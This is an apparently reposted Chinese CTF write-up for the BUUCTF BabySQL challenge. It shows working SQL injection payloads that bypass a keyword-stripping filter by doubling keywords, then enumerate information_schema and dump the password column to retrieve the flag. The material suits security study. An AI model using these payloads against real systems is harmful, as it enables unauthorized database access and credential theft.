BUUCTF-[極客大挑戰 2019]BabySQL 1 詳解


打開靶機

 

 應該是love sql惹的事吧,來了個加強版本的sql注入,不過我們先輸入賬號密碼看有什么反應

 

整一手萬能密碼,閉合雙引號?username=admin&password=admin' or '1'='1

然后報錯了,說密碼錯誤,然后我們重新構造pyload:?username=admin'&password=admin or '1'='1

我們先閉合前面的,然后看看報錯嗎?果然報錯了

 

 我們的or去哪里了,於是我們進一步測試,發現過濾了好多關鍵字,比如or, select,where, union。應該是用函數replace給我們替換成了空白字符

知道了這樣,我們就進行繞過,於是拼接字符,無法用order by 1來判斷字段個數,我們只有使用聯合查詢看他是否能查出來,應該列數不太多,於是我們構造

pyload:?username=admin&password=admin' uunionnion sselectelect 1,2%23

 

 於是我們發現出現錯誤,所以猜測列數錯誤,於是我們再加一列繼續構造pyload

?username=admin&password=admin' uunionnion sselectelect 1,2,3%23

這次顯示出兩個顯示位,有顯示位

 

 2.'3'就是我們的顯示位,於是我們就在這兩個地方隨便選擇顯示查出數據的地方

下一步我們就開始查表

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

然后我們查出來兩張表b4bsql和geekuser

 

 於是我們再繼續對表進行查列字段

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

查出三個列字段:id,username,password

 

 於是我們就開始爆數據

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

然后我們的flag就呈現到自己的面前了,

 

 愛死這道題了,小伙伴們是不是對sql注入更深一步的了解了呢,反正我是有了新的體會。繼續加油,繼續努力。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM